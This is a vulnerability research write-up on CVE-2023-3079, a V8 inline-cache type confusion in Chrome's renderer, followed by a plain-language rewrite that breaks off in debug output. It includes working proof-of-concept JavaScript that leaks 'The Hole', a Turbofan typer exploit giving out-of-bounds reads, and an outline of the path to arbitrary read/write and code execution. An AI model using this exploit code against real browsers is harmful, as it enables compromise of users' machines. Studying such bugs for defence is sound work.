Chaining N-days to Compromise All: Part 1 — Chrome Renderer RCE
A type confusion bug in V8's inline cache for property writes to the arguments object allowed leaking an internal 'The Hole' value, which could then be used to achieve out-of-bounds memory access and potentially remote code execution in the Chrome renderer.
medium.com
Published on medium.com
Vulnerability Research
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This is the first post in a series about the vulnerabilities used in a 1-day full chain exploit demonstrated on X. The chain starts with a Chrome renderer exploit, and the vulnerability exploited there is CVE-2023-3079, a type confusion bug in V8.
The subject is V8's handling of JavaScript object properties. In an object such as { a: 1, b: 2, 0: 3 } there are two named properties (a, b) and one integer-indexed property (0). When the term 'property' is used without context it usually means named properties; integer-indexed properties are also called elements.
In most cases both properties and elements are backed by arrays. This representation is called 'Fast properties (elements)' because it is faster than the other representation, which uses dictionaries. The figure below shows the basic memory layout of JavaScript objects in V8.

Elements come in different kinds depending on the types of values and how they are stored. The most important distinction is packed versus holey. An elements store is packed if all elements are adjacent; it is holey if there are holes between elements, as in [1,,3] where the second entry is a hole. V8 fills holes with a special value called 'The Hole'. Because the engine uses it internally, it must never be exposed to JavaScript, so when V8 retrieves an element from a holey elements store it verifies whether the value is 'The Hole' and returns undefined instead.
Setup
The post does not describe a target deployment, accounts or roles. The analysis is done against V8 itself, and the post shows d8 output from DebugPrint and from evaluating Number(%TheHole()). The out-of-bounds primitive is developed as JavaScript that is expected to be JIT-compiled by Turbofan, so the leak_stuff() function must become hot.
Finding it
JavaScript is dynamically typed, so the engine may behave differently for a single line of code depending on the types of the objects involved. Consider:
function set_keyed_prop(obj, key, val) { obj[key] = val;}
The function simply stores val into the key property of obj, but the engine has several things to consider: is key an integer index or a string, and where is the key property located in obj? Performing such checks every time is expensive, so JavaScript engines implement an optimisation called Inline Cache (IC) to speed up property accesses. IC exploits type locality: the types of operands at a given point in a program rarely change. The engine starts with no type information, runs unoptimised code and collects type information about the objects it encounters. It later uses the collected profiles to optimise performance, either by calling IC handlers or by just-in-time compiling code to native.
The snippet below illustrates how the engine handles the function above internally:
if (typeof(obj) == A) { FAST_ROUTINE_OPTIMIZED_FOR_A();} else { SLOW_GENERIC_ROUTINE();}
A program point may see several types of objects, so an IC can handle multiple types; that is called a polymorphic IC, while the single-type case is monomorphic.
The bug lies in the way the IC handles property writes to JSStrictArgumentsObject. In V8, each bytecode that supports IC has its own IC slot, and an IC slot is a mapping from maps (hidden classes) to IC handlers. A slot may have no entries (uninitialised IC) or a few mappings (monomorphic or polymorphic IC). When a polymorphic slot has too many entries, or a new IC handler is incompatible with the existing handlers, the slot bails out to a megamorphic state and uses generic, slow handlers.
The vulnerability is in the IC implementation for the SetKeyedProperty bytecode, the bytecode behind the function above. Since there are two types of properties, the IC also has two types of handlers: a property handler and an element handler. To install an element handler, KeyedStoreIC::StoreElementHandler() is called to pick a proper one depending on the type of the object.
Handle<Object> KeyedStoreIC::StoreElementHandler( Handle<Map> receiver_map, KeyedAccessStoreMode store_mode, MaybeHandle<Object> prev_validity_cell) { ... if (...) { ... } else if (receiver_map->has_fast_elements() || receiver_map->has_sealed_elements() || receiver_map->has_nonextensible_elements() || receiver_map->has_typed_array_or_rab_gsab_typed_array_elements()) { TRACE_HANDLER_STATS(isolate(), KeyedStoreIC_StoreFastElementStub); code = StoreHandler::StoreFastElementBuiltin(isolate(), store_mode); ... } ...}
JSStrictArgumentsObject has fast elements, so StoreHandler::StoreFastElementBuiltin() is called to load a fast element handler.
Handle<Code> StoreHandler::StoreFastElementBuiltin(Isolate* isolate, KeyedAccessStoreMode mode) { switch (mode) { ... case STORE_AND_GROW_HANDLE_COW: return BUILTIN_CODE(isolate, StoreFastElementIC_GrowNoTransitionHandleCOW); ... }}
In StoreHandler::StoreFastElementBuiltin, the buggy handler is StoreFastElementIC_GrowNoTransitionHandleCOW. As the name says, the handler incurs no map transitions, which implies the elements kind does not change, and it extends the elements store when an index is equal to the capacity of the store, that is, when putting a value at the end of the elements store. When the handler extends an elements store, the extended store may have extra spaces, and those are filled with 'The Hole'.
The default elements kind of a JSStrictArgumentsObject is PACKED_ELEMENTS, and it remains the same after being handled by this handler. That is problematic because the slow version of the same operation says that adding an element to a non-JSArray object should make its elements kind HOLEY_ELEMENTS.
Maybe<bool> JSObject::AddDataElement(Handle<JSObject> object, uint32_t index, Handle<Object> value, PropertyAttributes attributes) { ... ElementsKind to = Object::OptimalElementsKind(*value, isolate); if (IsHoleyElementsKind(kind) || !object->IsJSArray(isolate) || index > old_length) { to = GetHoleyElementsKind(to); kind = GetHoleyElementsKind(kind); } to = GetMoreGeneralElementsKind(kind, to); ...}
One more thing makes this missing map transition exploitable: how V8 bounds-checks element accesses. It checks the in-object 'length' property for JSArrays, while for all other objects the engine examines the length of their elements backing store (FIXED_ARRAY).
void AccessorAssembler::EmitFastElementsBoundsCheck( TNode<JSObject> object, TNode<FixedArrayBase> elements, TNode<IntPtrT> intptr_index, TNode<BoolT> is_jsarray_condition, Label* miss) { TVARIABLE(IntPtrT, var_length); Comment("Fast elements bounds check"); Label if_array(this), length_loaded(this, &var_length); GotoIf(is_jsarray_condition, &if_array); { var_length = SmiUntag(LoadFixedArrayBaseLength(elements)); Goto(&length_loaded); } BIND(&if_array); { var_length = SmiUntag(LoadFastJSArrayLength(CAST(object))); Goto(&length_loaded); } BIND(&length_loaded); GotoIfNot(UintPtrLessThan(intptr_index, var_length.value()), miss);}
In the following output there is an arguments object and a JSArray. The arguments object uses the capacity of its elements backing store (17) for bounds checks, while the JSArray uses the value of its length property (1).
DebugPrint: 0x29df0004e8dd: [JS_ARGUMENTS_OBJECT_TYPE] - map: 0x29df0019c7a1 <Map[20](HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x29df00184ab9 <Object map = 0x29df001840f5> - elements: 0x29df0004e961 <FixedArray[17]> [HOLEY_ELEMENTS] - properties: 0x29df00000219 <FixedArray[0]> - All own properties (excluding elements): { 0x29df00000e19: [String] in ReadOnlySpace: #length: 0 (data field 0), location: in-object 0x29df000043f9: [String] in ReadOnlySpace: #callee: 0x29df0019c381 <JSFunction getArgs (sfi = 0x29df0019c2c1)> (data field 1), location: in-object 0x29df000060d1 <Symbol: Symbol.iterator>: 0x29df0014426d <AccessorInfo name= 0x29df000060d1 <Symbol: Symbol.iterator>, data= 0x29df00000251 <undefined>> (const accessor descriptor), location: descriptor } - elements: 0x29df0004e961 <FixedArray[17]> { ******* Use this capacity ******* 0: 1 1-16: 0x29df0000026d <the_hole> }DebugPrint: 0x29df0004ea0d: [JSArray] - map: 0x29df0018e165 <Map[16](PACKED_SMI_ELEMENTS)> [FastProperties] - prototype: 0x29df0018e3a9 <JSArray[0]> - elements: 0x29df0004ea61 <FixedArray[17]> [PACKED_SMI_ELEMENTS] - length: 1 ******* Use this length ******* - properties: 0x29df00000219 <FixedArray[0]> - All own properties (excluding elements): { 0x29df00000e19: [String] in ReadOnlySpace: #length: 0x29df00144285 <AccessorInfo name= 0x29df00000e19 <String[6]: #length>, data= 0x29df00000251 <undefined>> (const accessor descriptor), location: descriptor } - elements: 0x29df0004ea61 <FixedArray[17]> { 0: 1 1-16: 0x29df0000026d <the_hole> }
So in normal cases, where the size of the elements store is larger than the number of elements, an out-of-bounds element access to a JSArray is guarded by checking its 'length' property, and for other objects it is guarded by the 'The Hole' check because the object's elements kind is HOLEY_ELEMENTS. The vulnerable handler, however, keeps the map of arguments at PACKED_ELEMENTS even after its elements store is extended, which allows leaking 'The Hole'.
Exploitation
Step 1: trigger the bug and leak The Hole
The proof-of-concept code that triggers the bug is:
function set_keyed_prop(obj, key, val) { obj[key] = val;}function leak_hole() { const IC_WARMUP_COUNT = 10; for (let i = 0; i < IC_WARMUP_COUNT; i++) { set_keyed_prop(arguments, "foo", 1); } set_keyed_prop([], 0, 1); set_keyed_prop(arguments, arguments.length, 1); let hole = arguments[arguments.length + 1]; return hole;}
First, a loop calls set_keyed_prop() with an arguments object and 'foo' as the key. After the loop, a property handler is registered with the map of arguments and 'foo' as the key, making the slot monomorphic.
DebugPrint: 0x37750019b08d: [Function] in OldSpace ... - slot #0 StoreKeyedSloppy MONOMORPHIC 0x37750019ae75 <String[3]: #foo>: StoreHandler(<unexpected>)(0x37750018fccd <Map[20](PACKED_ELEMENTS)>) { [0]: 0x37750019ae75 <String[3]: #foo> [1]: 0x37750004ca65 <Other heap object (WEAK_FIXED_ARRAY_TYPE)> }
This installs a property handler, not an element handler, because an element handler for arguments cannot be installed directly. If a key is Smi-like (integers or strings like '1') and the object is arguments, KeyedStoreIC::Store() takes the slow path rather than installing the buggy handler. For normal properties, StoreIC::Store() is called to populate a handler in the slot.
MaybeHandle<Object> KeyedStoreIC::Store(Handle<Object> object, Handle<Object> key, Handle<Object> value) { ... if (key_type == kName) { ASSIGN_RETURN_ON_EXCEPTION( isolate(), store_handle, StoreIC::Store(object, maybe_name, value, StoreOrigin::kMaybeKeyed), Object); if (vector_needs_update()) { if (ConfigureVectorState(MEGAMORPHIC, key)) { set_slow_stub_reason("unhandled internalized string key"); TraceIC("StoreIC", key); } } return store_handle; } ... if (use_ic) { if (!old_receiver_map.is_null()) { if (is_arguments) { set_slow_stub_reason("arguments receiver"); } ... } } ...}
Then the PoC calls set_keyed_prop() with an empty array. Since the array is not arguments, an IC miss occurs and KeyedStoreIC::UpdateStoreElement() is called to install a new element handler. It then calls KeyedStoreIC::StoreElementPolymorphicHandlers() to change the state of the IC slot to polymorphic.
void KeyedStoreIC::UpdateStoreElement(Handle<Map> receiver_map, KeyedAccessStoreMode store_mode, Handle<Map> new_receiver_map) { std::vector<MapAndHandler> target_maps_and_handlers; nexus()->ExtractMapsAndHandlers( &target_maps_and_handlers, [this](Handle<Map> map) { return Map::TryUpdate(isolate(), map); }); if (target_maps_and_handlers.empty()) { Handle<Map> monomorphic_map = receiver_map; if (IsTransitionOfMonomorphicTarget(*receiver_map, *new_receiver_map)) { monomorphic_map = new_receiver_map; } Handle<Object> handler = StoreElementHandler(monomorphic_map, store_mode); return ConfigureVectorState(Handle<Name>(), monomorphic_map, handler); } ... StoreElementPolymorphicHandlers(&target_maps_and_handlers, store_mode); ...}
KeyedStoreIC::StoreElementPolymorphicHandlers() iterates the previous IC handlers in the slot and turns them into element handlers by calling StoreElementHandler(). This introduces the buggy handler into the slot.
void KeyedStoreIC::StoreElementPolymorphicHandlers( std::vector<MapAndHandler>* receiver_maps_and_handlers, KeyedAccessStoreMode store_mode) { ... for (size_t i = 0; i < receiver_maps_and_handlers->size(); i++) { Handle<Map> receiver_map = receiver_maps_and_handlers->at(i).first; DCHECK(!receiver_map->is_deprecated()); MaybeObjectHandle old_handler = receiver_maps_and_handlers->at(i).second; Handle<Object> handler; Handle<Map> transition; if (receiver_map->instance_type() < FIRST_JS_RECEIVER_TYPE || receiver_map->MayHaveReadOnlyElementsInPrototypeChain(isolate())) { ... } else { ... if (!transition.is_null()) { TRACE_HANDLER_STATS(isolate(), KeyedStoreIC_ElementsTransitionAndStoreStub); handler = StoreHandler::StoreElementTransition( isolate(), receiver_map, transition, store_mode, validity_cell); } else { handler = StoreElementHandler(receiver_map, store_mode, validity_cell); } } DCHECK(!handler.is_null()); receiver_maps_and_handlers->at(i) = MapAndHandler(receiver_map, MaybeObjectHandle(handler)); }}
At this point the IC slot looks like this:
DebugPrint: 0x5ed0019b139: [Function] in OldSpace ... - slot #0 StoreKeyedSloppy POLYMORPHIC [weak] 0x05ed0018fccd <Map[20](PACKED_ELEMENTS)>: StoreHandler(builtin = 0x05ed00024b59 <Code BUILTIN StoreFastElementIC_GrowNoTransitionHandleCOW>, validity cell = 0x05ed0019b281 <Cell value= 0>) [weak] 0x05ed0018e165 <Map[16](PACKED_SMI_ELEMENTS)>: StoreHandler(builtin = 0x05ed00024b59 <Code BUILTIN StoreFastElementIC_GrowNoTransitionHandleCOW>, validity cell = 0x05ed0019b365 <Cell value= 0>) { [0]: 0x05ed0004cafd <Other heap object (WEAK_FIXED_ARRAY_TYPE)> [1]: 0x05ed00000ebd <Symbol: (uninitialized_symbol)> }
The last call to set_keyed_prop is handled by the buggy handler, extending the elements store of arguments while keeping the elements kind PACKED_ELEMENTS:
set_keyed_prop(arguments, arguments.length, 1);
After the PoC runs, the arguments object has elements kind PACKED_ELEMENTS and an elements store of FixedArray[17], where the empty spaces are filled with 'The Hole'.
Step 2: turn The Hole into an out-of-bounds access
The leaked 'The Hole' object can be exploited to achieve arbitrary out-of-bounds access. The technique was originally shared by mistymntncop, and a related writeup is available. The exploit to achieve out-of-bounds access using 'The Hole' is:
function leak_stuff(b) { if (b) { let index = Number(b ? the.hole : -1); index |= 0; index += 1; let arr1 = [1.1, 2.2, 3.3, 4.4]; let arr2 = [0x1337, large_arr]; let packed_double_map_and_props = arr1.at(index * 4); let packed_double_elements_and_len = arr1.at(index * 5); let packed_map_and_props = arr1.at(index * 8); let packed_elements_and_len = arr1.at(index * 9); let fixed_arr_map = arr1.at(index * 6); let large_arr_addr = arr1.at(index * 7); return [ packed_double_map_and_props, packed_double_elements_and_len, packed_map_and_props, packed_elements_and_len, fixed_arr_map, large_arr_addr, arr1, arr2 ]; } return 0;}
The most important lines are:
let index = Number(b ? the.hole : -1);index |= 0;index += 1;
The first line uses the ternary operator and returns either 'The Hole' or -1. When leak_stuff() gets hot and triggers just-in-time compilation, the ternary operator introduces a Phi node, followed by a JSToNumberConvertBigInt node.

Turbofan, the JIT compiler in V8, has a typer phase in which the compiler statically infers the type of each node. After the typer phase, the annotated types are as follows:

The type of the Phi node is inferred as the union of the type of 'The Hole' and the integer interval (-1, -1), which seems to be true. However, the type of the JSToNumberConvertBigInt node is miscalculated, because a call to Number() with 'The Hole' produces NaN:
d8> Number(%TheHole());NaN
The type of the JSToNumberConvertBigInt node is inferred in OperationTyper::ToNumberConvertBigInt().
Type OperationTyper::ToNumberConvertBigInt(Type type) { bool maybe_bigint = type.Maybe(Type::BigInt()) || type.Maybe(Type::Receiver()); type = ToNumber(Type::Intersect(type, Type::NonBigInt(), zone())); return maybe_bigint ? Type::Union(type, cache_->kInteger, zone()) : type;}
The function first calculates the intersection of the argument's type and Type::NonBigInt(). Here type is the type of the Phi node, and Type::NonBigInt() is defined as an OR-ed set of bit flags.
#define INTERNAL_BITSET_TYPE_LIST(V) \ V(OtherUnsigned31, uint64_t{1} << 1) \ V(OtherUnsigned32, uint64_t{1} << 2) \ V(OtherSigned32, uint64_t{1} << 3) \ V(OtherNumber, uint64_t{1} << 4) \ V(OtherString, uint64_t{1} << 5) \ ...#define PROPER_ATOMIC_BITSET_TYPE_LOW_LIST(V) \ ... V(Hole, uint64_t{1} << 23) \ ... #define PROPER_BITSET_TYPE_LIST(V) \ ... V(NonBigInt, kNonBigIntPrimitive | kReceiver) \ ...
Flattening all sub-flags of Type::NonBigInt() shows that the type of 'The Hole' is not in the set:
[redacted]
So the type of 'The Hole' is filtered out by the intersection, which results in a type error. This error is propagated through the following operations.

Here is the commented version of the exploit with the types inferred by the compiler and the actual value when the code is executed with 'The Hole':
function leak_stuff(b) { if (b) { let index = Number(b ? the.hole : -1); index |= 0; index += 1; let arr1 = [1.1, 2.2, 3.3, 4.4]; let arr2 = [0x1337, large_arr]; let packed_double_map_and_props = arr1.at(index * 4); let packed_double_elements_and_len = arr1.at(index * 5); let packed_map_and_props = arr1.at(index * 8); let packed_elements_and_len = arr1.at(index * 9); let fixed_arr_map = arr1.at(index * 6); let large_arr_addr = arr1.at(index * 7); return [ packed_double_map_and_props, packed_double_elements_and_len, packed_map_and_props, packed_elements_and_len, fixed_arr_map, large_arr_addr, arr1, arr2 ]; } return 0;}
Because the compiler thinks the value of index is always zero, it considers all bounds checks on arr1 unnecessary and optimises them away. When the function is invoked later, however, index is a non-zero value, and the accesses to arr1 go out of bounds.
Step 3: from out-of-bounds access to code execution
With an out-of-bounds memory access primitive, there is a standard route to code execution. A typical V8 exploit will:
- Construct
addr_ofand arbitrary read/write primitives. This can usually be achieved by creating a few adjacent arrays (PACKED_ELEMENTSandPACKED_DOUBLE_ELEMENTS) and overwriting the length properties of the arrays with the out-of-bounds access primitive. - Use the primitives to gain arbitrary code execution. For this, one needs to escape the V8 sandbox; a detailed explanation of the V8 sandbox escape technique used in an in-the-wild exploit is available on the Theori blog.
More detailed information, including PoC and exploit code, is in Fermium-252, the Cyber Threat Intelligence Database.
Root cause
The bug is in the IC implementation for the SetKeyedProperty bytecode. When a keyed store on a JSStrictArgumentsObject is turned into an element handler, KeyedStoreIC::StoreElementHandler() selects StoreFastElementIC_GrowNoTransitionHandleCOW because the receiver map has fast elements. That handler, as its name says, performs no map transition, so the elements kind stays PACKED_ELEMENTS even when it grows the elements store and fills the new slots with 'The Hole'. The slow path, JSObject::AddDataElement(), would have moved a non-JSArray object to HOLEY_ELEMENTS in the same situation.
The missing transition matters because of how bounds checks work. For a JSArray the check uses the in-object 'length' property, but for every other object it uses the length of the elements backing store. For a correctly marked holey object, the 'The Hole' check catches reads of uninitialised slots. With the map still claiming PACKED_ELEMENTS, that check is not applied, and the leaked 'The Hole' value reaches JavaScript.
The second half of the chain is a Turbofan typer bug. OperationTyper::ToNumberConvertBigInt() intersects the argument type with Type::NonBigInt(), and the Hole bit is not part of that set, so the type of 'The Hole' is filtered out and the result is typed as if Number() on it could only produce the integer interval from the Phi node. At runtime Number(%TheHole()) is NaN, so the inferred type is wrong, and the compiler removes bounds checks that are in fact needed.
Impact
The chain starts with a Chrome renderer exploit: a leaked internal value and an out-of-bounds access primitive, followed by the standard route of building addr_of and arbitrary read/write and escaping the V8 sandbox to reach code execution. In the demonstration this renderer exploit is the first link of a 1-day full chain, with the next post covering a Windows ALPC vulnerability used to escape the Chrome sandbox. The post does not state which Chrome versions were affected or how the exploit was delivered to a victim.
Fix
The post does not describe the patch. Based on the root cause, the fix belongs in the IC path: the element handler chosen for JSStrictArgumentsObject must not grow the elements store while leaving the map at PACKED_ELEMENTS, so that the object ends up HOLEY_ELEMENTS as the slow path dictates.
Variants to test
- Other receivers with fast elements that reach
StoreFastElementIC_GrowNoTransitionHandleCOW. A positive result is an object whose elements store has grown while its map still reports a packed elements kind, visible withDebugPrintas aFixedArraylarger than the number of elements and containingthe_hole. - Other keyed-store bytecodes and store modes that select a no-transition handler. A positive result is a store at an index equal to the elements capacity that extends the backing store without a map transition.
- Other builtins that call
Number()or similar conversions on values that may be 'The Hole'. A positive result is ad8session where the converted value isNaNat runtime while the typer output shows an integer type. - Other type intersections in
OperationTyperwhere an internal-only type such asHoleis not a member of the intersected set. A positive result is a node whose inferred type excludes a value that can actually reach it, followed by an optimised bounds check being removed. - Adjacent
PACKED_ELEMENTSandPACKED_DOUBLE_ELEMENTSarrays after obtaining an out-of-bounds primitive. A positive result is a corrupted length property on one array that yields read and write access beyond its bounds.
What happened, in plain words
A group of security researchers at Theori published a series of posts about a chain of attacks they demonstrated on X. A chain here means several separate weaknesses joined together: each one gets the attacker a little further, and the output of one step becomes the input of the next. This first post covers only the first link: a way to break out of the part of Chrome that runs JavaScript, which is called the renderer. The weakness they used is tracked as CVE-2023-3079, a type confusion bug in V8.
To follow the rest of this article you need three ideas.
- JavaScript is the programming language that web pages use to make themselves interactive. Your browser contains a program, an engine, that reads and runs it.
- V8 is the name of the JavaScript engine inside Chrome. It is the piece of software that turns the text of a script into actions on your computer.
- A type confusion bug is a mistake where the engine believes a value is one kind of thing (say, a number) when at runtime it is actually another kind of thing (say, a special internal marker). Because the engine trusts its own belief, it skips safety checks that would otherwise have stopped it, and the program ends up reading or writing memory it should never touch.

The post is the first in a series about the vulnerabilities used in a 1-day full chain exploit. A 1-day is an attack that uses a publicly known vulnerability, as opposed to a 0-day, which is unknown to the vendor when it is used. The chain starts with a Chrome renderer exploit, and the vulnerability exploited there is CVE-2023-3079, a type confusion bug in V8.
The subject is how V8 handles the properties of JavaScript objects. Take an object such as { a: 1, b: 2, 0: 3 }. It has two named properties (a, b) and one integer-indexed property (0). When the term 'property' is used without context it usually means named properties; integer-indexed properties are also called elements. Think of an object as a labelled box: named properties are labels written on the box, and elements are numbered slots in a row inside it.
In most cases both properties and elements are backed by arrays. An array here means a contiguous block of memory slots, one after another, like a row of numbered pigeonholes. This representation is called 'Fast properties (elements)' because it is faster than the other representation, which uses dictionaries. A dictionary is a lookup structure that maps names to values one by one, which is flexible but slower to search. The figure below shows the basic memory layout of JavaScript objects in V8.

Elements come in different kinds depending on the types of values and how they are stored. The most important distinction is packed versus holey. An elements store is packed if all elements are adjacent, with no gaps. It is holey if there are holes between elements, as in [1,,3] where the second entry is a hole. V8 fills holes with a special value called 'The Hole'. Because the engine uses it internally, it must never be exposed to JavaScript, so when V8 retrieves an element from a holey elements store it verifies whether the value is 'The Hole' and returns undefined instead. Think of 'The Hole' as a placeholder card the engine puts in empty pigeonholes; if a script ever got hold of that card, it would be holding a piece of the engine's own machinery.
Setup
The post does not describe a target deployment, accounts or roles. The analysis is done against V8 itself, and the post shows d8 output from DebugPrint and from evaluating Number(%TheHole()). d8 is the standalone command-line shell that V8 developers use to run JavaScript outside a browser, and DebugPrint is a debugging helper that prints the internal layout of an object. The out-of-bounds primitive is developed as JavaScript that is expected to be JIT-compiled by Turbofan, so the leak_stuff() function must become hot. JIT stands for just-in-time: instead of interpreting the same code over and over, the engine watches which functions run often (they get 'hot') and compiles them into fast native machine code. Turbofan is the name of that optimising compiler inside V8.
Finding it
JavaScript is dynamically typed, so the engine may behave differently for a single line of code depending on the types of the objects involved. Consider:
function set_keyed_prop(obj, key, val) { obj[key] = val;}
This defines a function called set_keyed_prop that takes three inputs: an object obj, a key key and a value val. The single line inside stores val into the key property of obj. In everyday terms: put the value into the slot named by the key, inside the box.
The function simply stores val into the key property of obj, but the engine has several things to consider: is key an integer index or a string, and where is the key property located in obj? Performing such checks every time is expensive, so JavaScript engines implement an optimisation called Inline Cache (IC) to speed up property accesses. IC exploits type locality: the types of operands at a given point in a program rarely change. The engine starts with no type information, runs unoptimised code and collects type information about the objects it encounters. It later uses the collected profiles to optimise performance, either by calling IC handlers or by just-in-time compiling code to native. An IC handler is a small pre-built routine that says 'if the object looks like this, here is the fast way to do the store'.
The snippet below illustrates how the engine handles the function above internally:
if (typeof(obj) == A) { FAST_ROUTINE_OPTIMIZED_FOR_A();} else { SLOW_GENERIC_ROUTINE();}
Line by line: the if checks whether the type of obj equals a remembered type A. If it does, the engine calls FAST_ROUTINE_OPTIMIZED_FOR_A(), a routine prepared specifically for that shape of object. Otherwise it falls back to SLOW_GENERIC_ROUTINE(), which works for anything but is slower. This is the same idea as a supermarket till: if every customer pays the same way, the cashier can use a shortcut; anything unusual goes through the general procedure.
A program point may see several types of objects, so an IC can handle multiple types; that is called a polymorphic IC, while the single-type case is monomorphic. 'Poly' means many, 'mono' means one, and 'mega' (below) means very many.
The bug lies in the way the IC handles property writes to JSStrictArgumentsObject. In V8, each bytecode that supports IC has its own IC slot, and an IC slot is a mapping from maps (hidden classes) to IC handlers. A bytecode is a single low-level instruction the engine executes; a map, also called a hidden class, is the engine's internal description of an object's shape, meaning which properties it has and where they sit. A slot may have no entries (uninitialised IC) or a few mappings (monomorphic or polymorphic IC). When a polymorphic slot has too many entries, or a new IC handler is incompatible with the existing handlers, the slot bails out to a megamorphic state and uses generic, slow handlers.
The vulnerability is in the IC implementation for the SetKeyedProperty bytecode, the bytecode behind the function above. Since there are two types of properties, the IC also has two types of handlers: a property handler and an element handler. To install an element handler, KeyedStoreIC::StoreElementHandler() is called to pick a proper one depending on the type of the object.
Handle<Object> KeyedStoreIC::StoreElementHandler( Handle<Map> receiver_map, KeyedAccessStoreMode store_mode, MaybeHandle<Object> prev_validity_cell) { ... if (...) { ... } else if (receiver_map->has_fast_elements() || receiver_map->has_sealed_elements() || receiver_map->has_nonextensible_elements() || receiver_map->has_typed_array_or_rab_gsab_typed_array_elements()) { TRACE_HANDLER_STATS(isolate(), KeyedStoreIC_StoreFastElementStub); code = StoreHandler::StoreFastElementBuiltin(isolate(), store_mode); ... } ...}
This is a fragment of V8's own C++ source, not JavaScript. Line by line: the function KeyedStoreIC::StoreElementHandler receives the map of the object being written to (receiver_map), the mode of the store (store_mode) and an optional validity cell. The if (...) { ... } branch is elided in the post. The else if checks whether the object's map has fast elements, sealed elements, nonextensible elements, or typed array elements. If any of those is true, it records a trace statistic and calls StoreHandler::StoreFastElementBuiltin(isolate(), store_mode) to obtain the handler code. In plain words: the engine looks at the shape of the object and, for objects with fast elements, picks a fast element handler.
JSStrictArgumentsObject has fast elements, so StoreHandler::StoreFastElementBuiltin() is called to load a fast element handler. A JSStrictArgumentsObject is the internal object that holds the arguments passed to a function when the script is in strict mode, a stricter dialect of JavaScript.
Handle<Code> StoreHandler::StoreFastElementBuiltin(Isolate* isolate, KeyedAccessStoreMode mode) { switch (mode) { ... case STORE_AND_GROW_HANDLE_COW: return BUILTIN_CODE(isolate, StoreFastElementIC_GrowNoTransitionHandleCOW); ... }}
Line by line: the function takes the engine instance (isolate) and the store mode. A switch picks a branch based on the mode. In the STORE_AND_GROW_HANDLE_COW case it returns the built-in code named StoreFastElementIC_GrowNoTransitionHandleCOW. 'Grow' means the store may make the backing store bigger; 'NoTransition' means the object's map is not changed; 'COW' stands for copy-on-write, a scheme where memory is shared until someone writes to it.
In StoreHandler::StoreFastElementBuiltin, the buggy handler is StoreFastElementIC_GrowNoTransitionHandleCOW. As the name says, the handler incurs no map transitions, which implies the elements kind does not change, and it extends the elements store when an index is equal to the capacity of the store, that is, when putting a value at the end of the elements store. When the handler extends an elements store, the extended store may have extra spaces, and those are filled with 'The Hole'.
The default elements kind of a JSStrictArgumentsObject is PACKED_ELEMENTS, and it remains the same after being handled by this handler. That is problematic because the slow version of the same operation says that adding an element to a non-JSArray object should make its elements kind HOLEY_ELEMENTS. A JSArray is the internal object behind a normal JavaScript array. So the fast path and the slow path disagree about what the object's shape should become, and the fast path is the one that leaves the object mislabelled.
Maybe<bool> JSObject::AddDataElement(Handle<JSObject> object, uint32_t index, Handle<Object> value, PropertyAttributes attributes) { ... ElementsKind to = Object::OptimalElementsKind(*value, isolate); if (IsHoleyElementsKind(kind) || !object->IsJSArray(isolate) || index > old_length) { to = GetHoleyElementsKind(to); kind = GetHoleyElementsKind(kind); } to = GetMoreGeneralElementsKind(kind, to); ...}
This is the slow path. Line by line: AddDataElement receives the object, the index, the value and the property attributes. It first computes the optimal elements kind for the value. Then the if checks three conditions: whether the current kind is already holey, whether the object is not a JSArray, or whether the index is beyond the old length. If any holds, it converts both the target kind and the current kind to their holey equivalents with GetHoleyElementsKind. Finally it generalises the kind. The point for us: for a non-array object, adding an element is supposed to mark the object as holey.
One more thing makes this missing map transition exploitable: how V8 bounds-checks element accesses. A bounds check is the safety test that asks 'is this index inside the array?'. It checks the in-object 'length' property for JSArrays, while for all other objects the engine examines the length of their elements backing store (FIXED_ARRAY). The backing store is the actual block of memory holding the elements.
void AccessorAssembler::EmitFastElementsBoundsCheck( TNode<JSObject> object, TNode<FixedArrayBase> elements, TNode<IntPtrT> intptr_index, TNode<BoolT> is_jsarray_condition, Label* miss) { TVARIABLE(IntPtrT, var_length); Comment("Fast elements bounds check"); Label if_array(this), length_loaded(this, &var_length); GotoIf(is_jsarray_condition, &if_array); { var_length = SmiUntag(LoadFixedArrayBaseLength(elements)); Goto(&length_loaded); } BIND(&if_array); { var_length = SmiUntag(LoadFastJSArrayLength(CAST(object))); Goto(&length_loaded); } BIND(&length_loaded); GotoIfNot(UintPtrLessThan(intptr_index, var_length.value()), miss);}
Line by line: the function declares a variable var_length to hold the limit. It emits a comment for the generated code. It creates two labels, if_array and length_loaded. GotoIf(is_jsarray_condition, &if_array) jumps to the array branch when the object is a JSArray. Otherwise the block loads the length of the elements backing store with LoadFixedArrayBaseLength(elements) and jumps to length_loaded. The array branch instead loads the array's own length with LoadFastJSArrayLength(CAST(object)). At length_loaded, GotoIfNot(UintPtrLessThan(intptr_index, var_length.value()), miss) checks whether the index is smaller than the limit; if not, it jumps to miss, the slow path. So the same check uses two different sources of truth depending on the object type.
In the following output there is an arguments object and a JSArray. The arguments object uses the capacity of its elements backing store (17) for bounds checks, while the JSArray uses the value of its length property (1).
DebugPrint: 0x29df0004e8dd: [JS_ARGUMENTS_OBJECT_TYPE] - map: 0x29df0019c7a1 <Map[20](HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x29df00184ab9 <Object map = 0x29df001840f5> - elements: 0x29df0004e961 <FixedArray[17]> [HOLEY_ELEMENTS] - properties: 0x29df00000219 <FixedArray[0]> - All own properties (excluding elements): { 0x29df00000e19: [String] in ReadOnlySpace: #length: 0 (data field 0), location: in-object 0x29df000043f9: [String] in ReadOnlySpace: #callee: 0x29df0019c381 <JSFunction getArgs (sfi = 0x29df0019c2c1)> (data field 1), location: in-object 0x29df000060d1 <Symbol: Symbol.iterator>: 0x29df0014426d <AccessorInfo name= 0x29df000060d1 <Symbol: Symbol.iterator>, data= 0x29df00000251 <undefined>> (const accessor descriptor), location: descriptor } - elements: 0x29df0004e961 <FixedArray[17]> { ******* Use this capacity ******* 0: 1 1-16: 0x29df0000026d <the_hole> }DebugPrint: 0x29df0004ea0d: [JSArray] - map: 0x29df0018e165 <Map[16](PACKED_SMI_ELEMENTS)> [FastProperties] - prototype: 0x29df0018e3a9 <JSArray[0]> - elements: 0x29df0004ea61 <FixedArray[17]> [PACKED_SMI_ELEMENTS] - length: 1 ******* Use this length ******* - properties: 0x29df00000219 <FixedArray[0]> - All own properties (excluding elements): { 0x29df00000e19: [String] in ReadOnlySpace: #length: 0x29df00144285 <AccessorInfo name= 0x29df00000e19 <String[6]: #length>, data= 0x29df00000251 <undefined>> (const accessor descriptor), location: descriptor } - elements: 